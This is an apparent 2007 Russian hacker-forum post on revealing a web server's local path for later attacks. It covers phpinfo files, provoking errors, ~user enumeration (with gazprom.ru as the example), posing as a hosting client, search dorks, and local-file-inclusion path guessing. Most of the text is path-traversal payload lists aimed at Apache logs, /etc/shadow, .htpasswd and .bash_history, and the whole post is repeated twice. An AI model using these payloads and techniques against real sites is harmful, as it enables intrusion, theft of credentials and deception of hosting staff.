guest3297
05.01.2007, 17:36
Раскрытие Пути.
Последнее время стало появляться много тем как раскрыть локальный путь на сайте. Я попытаюсь рассказать как это можно сделать. Ну во первых зачем его раскрывать... это может into_outfile или нужно имя юзера, или еще что то извращенное нашим умом.
И так начем:
1) Файлы с phpinfo()
info.php
phpinfo.php
php.php
test.php
testphpinfo.php
testing.php
info.php
inf.php
это далеко не полный список и бывает такое что они находяться не только в корне но и в др папках например /admin/
2) Вывод ошибок:
Нам надо спровоцировать сервер на вывод ошибки любой что он написал в какой строчки крипта ошибка...
как это сделать можно ручками можно сканером.
3) Поиск директорий и файлов.
Способ который я очень часто использую, все знаю о существовании cgi сканеров которые сканят на папки и файлы и вот составив внушительный лист этот сканер становиться бесценным. Тоесть мы ищем папки и файлы на которые нету ссылок не где... что может быть в таких папках/файлах ну то что там может быть не устовленный скрипт или просто без конфига то вероятность вывода ошибок повышаеться в 10 раз.
4)Поиск юзера.
Многие скептически относяться к это баги... но если сайт на cgi то 90% взлома. Сначало о чнем я говорю не многие думаю поймут. http://site.ru/~root/ возвращает нам 403 значит поиск юзеров разрешен как же его искать например
gazprom.ru/~gazprom.ru
gazprom.ru/~gazpromru
gazprom.ru/~gazpromr
gazprom.ru/~gazprom
gazprom.ru/~gazpr
и так далее.
Что же нам это даст? Просмотр папки cgi-bin и то имя которое используеться в /etc/passwd
(Эта уязвимость присутствует только в апаче при включенном mod_user)
5)Ошибки в cgi.
В cgi так же есть аналоги phpinfo + именно ошибки в cgi-bin будть то скуль или иклуд. Например из стандартных файлов хостера printenv.pl который выводит путь.
6)Хостер
Можно просто представиться клинтом и спросить любой путь (если мы знаем имя нашего юзера действуем по аналогии).
Можно поискать ошибки на сайтах которые хостяться рядом и по аналогии если нам известно имя юзера, составить свой путь.
7)Поисковые системы.
Очень часто в поисковиках остаються те или иные баги... запечатленные на сайтах это может быть временный отказ бд или или отказ в открытие сессии.
Поиск осуществляем.
site:target.com
Будет полезно почитать весь листинг, но если он очень большой то юзаем примерно такие запросы тут все зависит от фантазии.
site:target.com Warning
site:target.com on line
site:target.com mysql_fetch_array()
Ну и так далее.
8(new))Логический перебор.
Не знаю как правильно назвать этот способ, вообщем случай у нас будет такой есть локальный инклуд или load_file в sql, И нас необходимо узнать путь что бы прочесть тот или иной(способов взлома в такой ситуации много но остановимся именно на чтении файлов и поиске путя до www) Сначало подумает что нам может помочь вообще???
1) Утсновленная ОС
2)Сервер (http)
3)тип сервера (хостинг/vds/vps/отдельная станция)
4)Список юзеров (/etc/passwd)
5)Конфиги логи и все что мы сможем найти.
6)Кофе Сигареты и много терпения.
И так я рассмотрю OC *nix и сервер apache как самые частые.
ну начнем с определения oс в этом на поможет nmap или любой другой сканер можем так же воспользоваться telenet :). Определили стоит linux. Для начала прочтем /etc/passwd найдем своего юзера и посмотрим его домашний каталог. определяем какуюто страничку на сервере например site.com/index.htm теперь мы имеем подобную загадку /home/user/***/***/ ... /index.htm
теперь начинаем перебирать в таком стиле:
/home/user/www/index.htm
/home/user/html/index.htm
/home/user/site/www/index.htm
/home/user/sites/site.com/index.htm
Скажу что за 2 часа ручного перебора и разумеется богатого воображения можно перебрать практически все возможные варианты.
USER CONFS
/.bash_history
/.htpasswd
/.htaccess
/etc/.htpasswd
/etc/shadow
/root/.bash_history
HTTPD
/usr/local/apache/conf/httpd.conf
/usr/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/http/conf/httpd.conf
/usr/http/conf/httpd.conf
/usr/httpd/conf/httpd.conf
В конфигах апача можно найти реальный путь и еще много чего интересного.
ищем логи
../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log
Поиск с ../../../ применять только при инклудах.
Пока все ждите обновлений.
Последнее время стало появляться много тем как раскрыть локальный путь на сайте. Я попытаюсь рассказать как это можно сделать. Ну во первых зачем его раскрывать... это может into_outfile или нужно имя юзера, или еще что то извращенное нашим умом.
И так начем:
1) Файлы с phpinfo()
info.php
phpinfo.php
php.php
test.php
testphpinfo.php
testing.php
info.php
inf.php
это далеко не полный список и бывает такое что они находяться не только в корне но и в др папках например /admin/
2) Вывод ошибок:
Нам надо спровоцировать сервер на вывод ошибки любой что он написал в какой строчки крипта ошибка...
как это сделать можно ручками можно сканером.
3) Поиск директорий и файлов.
Способ который я очень часто использую, все знаю о существовании cgi сканеров которые сканят на папки и файлы и вот составив внушительный лист этот сканер становиться бесценным. Тоесть мы ищем папки и файлы на которые нету ссылок не где... что может быть в таких папках/файлах ну то что там может быть не устовленный скрипт или просто без конфига то вероятность вывода ошибок повышаеться в 10 раз.
4)Поиск юзера.
Многие скептически относяться к это баги... но если сайт на cgi то 90% взлома. Сначало о чнем я говорю не многие думаю поймут. http://site.ru/~root/ возвращает нам 403 значит поиск юзеров разрешен как же его искать например
gazprom.ru/~gazprom.ru
gazprom.ru/~gazpromru
gazprom.ru/~gazpromr
gazprom.ru/~gazprom
gazprom.ru/~gazpr
и так далее.
Что же нам это даст? Просмотр папки cgi-bin и то имя которое используеться в /etc/passwd
(Эта уязвимость присутствует только в апаче при включенном mod_user)
5)Ошибки в cgi.
В cgi так же есть аналоги phpinfo + именно ошибки в cgi-bin будть то скуль или иклуд. Например из стандартных файлов хостера printenv.pl который выводит путь.
6)Хостер
Можно просто представиться клинтом и спросить любой путь (если мы знаем имя нашего юзера действуем по аналогии).
Можно поискать ошибки на сайтах которые хостяться рядом и по аналогии если нам известно имя юзера, составить свой путь.
7)Поисковые системы.
Очень часто в поисковиках остаються те или иные баги... запечатленные на сайтах это может быть временный отказ бд или или отказ в открытие сессии.
Поиск осуществляем.
site:target.com
Будет полезно почитать весь листинг, но если он очень большой то юзаем примерно такие запросы тут все зависит от фантазии.
site:target.com Warning
site:target.com on line
site:target.com mysql_fetch_array()
Ну и так далее.
8(new))Логический перебор.
Не знаю как правильно назвать этот способ, вообщем случай у нас будет такой есть локальный инклуд или load_file в sql, И нас необходимо узнать путь что бы прочесть тот или иной(способов взлома в такой ситуации много но остановимся именно на чтении файлов и поиске путя до www) Сначало подумает что нам может помочь вообще???
1) Утсновленная ОС
2)Сервер (http)
3)тип сервера (хостинг/vds/vps/отдельная станция)
4)Список юзеров (/etc/passwd)
5)Конфиги логи и все что мы сможем найти.
6)Кофе Сигареты и много терпения.
И так я рассмотрю OC *nix и сервер apache как самые частые.
ну начнем с определения oс в этом на поможет nmap или любой другой сканер можем так же воспользоваться telenet :). Определили стоит linux. Для начала прочтем /etc/passwd найдем своего юзера и посмотрим его домашний каталог. определяем какуюто страничку на сервере например site.com/index.htm теперь мы имеем подобную загадку /home/user/***/***/ ... /index.htm
теперь начинаем перебирать в таком стиле:
/home/user/www/index.htm
/home/user/html/index.htm
/home/user/site/www/index.htm
/home/user/sites/site.com/index.htm
Скажу что за 2 часа ручного перебора и разумеется богатого воображения можно перебрать практически все возможные варианты.
USER CONFS
/.bash_history
/.htpasswd
/.htaccess
/etc/.htpasswd
/etc/shadow
/root/.bash_history
HTTPD
/usr/local/apache/conf/httpd.conf
/usr/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/http/conf/httpd.conf
/usr/http/conf/httpd.conf
/usr/httpd/conf/httpd.conf
В конфигах апача можно найти реальный путь и еще много чего интересного.
ищем логи
../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log
Поиск с ../../../ применять только при инклудах.
Пока все ждите обновлений.